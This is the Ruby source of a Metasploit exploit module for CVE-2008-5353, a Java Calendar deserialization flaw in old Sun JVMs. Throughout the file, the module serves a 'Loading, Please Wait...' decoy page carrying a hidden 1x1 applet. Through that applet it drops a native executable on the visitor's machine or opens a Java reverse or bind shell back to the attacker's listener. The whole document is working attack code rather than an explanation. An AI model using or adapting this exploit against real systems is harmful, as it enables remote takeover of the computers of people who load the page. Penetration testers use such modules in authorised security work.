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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::EXE
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  # Superceded by java_atomicreferencearray
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  # include Msf::Exploit::Remote::BrowserAutopwn
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  # autopwn_info({ :javascript => false })
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  def initialize(info = {})
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    super(
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      update_info(info,
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      'Name'          => 'Sun Java Calendar Deserialization Privilege Escalation',
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      'Description'   => %q{
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        This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
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        The payload can be either a native payload which is generated as an executable and
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        dropped/executed on the target or a shell from within the Java applet in the target browser.
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        The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
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        and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
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      },
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      'License'       => MSF_LICENSE,
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      'Author'        => [ 'sf', 'hdm' ],
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      'References'    =>
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      [
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        [ 'CVE', '2008-5353' ],
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        [ 'OSVDB', '50500'],
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        [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
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        [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
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        [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]
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      ],
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      'Platform'      => %w(linux osx solaris win),
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      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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      'Targets'       =>
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        [
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          [ 'Generic (Java Payload)',
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            {
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              'Platform' => ['java'],
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              'Arch' => ARCH_JAVA
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            }
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          ],
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          [ 'Windows x86 (Native Payload)',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86
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            }
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          ],
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          [ 'Mac OS X PPC (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_PPC
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            }
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          ],
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          [ 'Mac OS X x86 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X86
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            }
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          ],
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          [ 'Linux x86 (Native Payload)',
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            {
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              'Platform' => 'linux',
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              'Arch' => ARCH_X86
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            }
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          ]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2008-12-03'
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      )
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    )
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  end
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  def exploit
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    # load the static jar file
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    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")
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    fd = File.open(path, "rb")
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    @jar_data = fd.read(fd.stat.size)
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    fd.close
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    super
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  end
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  def on_request_uri(cli, request)
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    data = nil
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    host = nil
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    port = nil
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    if !request.uri.match(/\.jar$/i)
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      if !request.uri.match(/\/$/)
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        send_redirect(cli, get_resource + '/', '')
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        return
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      end
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      print_status("#{name} handling request")
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      payload = regenerate_payload(cli)
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      if !payload
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        print_error("Failed to generate the payload.")
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        return
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      end
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      if target.name == 'Generic (Java Payload)'
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        if datastore['LHOST']
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          jar  = payload.encoded
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          host = datastore['LHOST']
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          port = datastore['LPORT']
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          print_status("Payload will be a Java reverse shell")
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        else
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          port = datastore['LPORT']
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          host = cli.peerhost
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          print_status("Payload will be a Java bind shell")
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        end
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        if jar
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          print_status("Generated jar to drop (#{jar.length} bytes).")
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          jar = Rex::Text.to_hex(jar, prefix = "")
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        else
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          print_error("Failed to generate the executable.")
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          return
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        end
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      else
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        # NOTE: The EXE mixin automagically handles detection of arch/platform
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        data = generate_payload_exe
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        print_status("Generated executable to drop (#{data.length} bytes).")
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        data = Rex::Text.to_hex(data, prefix = "")
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      end
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      send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')
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      return
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    end
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    print_status("Sending Applet.jar")
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    send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")
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    handler(cli)
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  end
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  def generate_html(data, jar, host, port)
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    html  = "<html><head><title>Loading, Please Wait...</title></head>"
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    html += "<body><center><p>Loading, Please Wait...</p></center>"
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    html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
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    html += "<param name=\"data\" value=\"#{data}\"/>" if data
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    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
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    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
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    html += "<param name=\"lport\" value=\"#{port}\"/>" if port
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    html += "</applet></body></html>"
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    html
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  end
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  def generate_jar
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    @jar_data
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  end
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end
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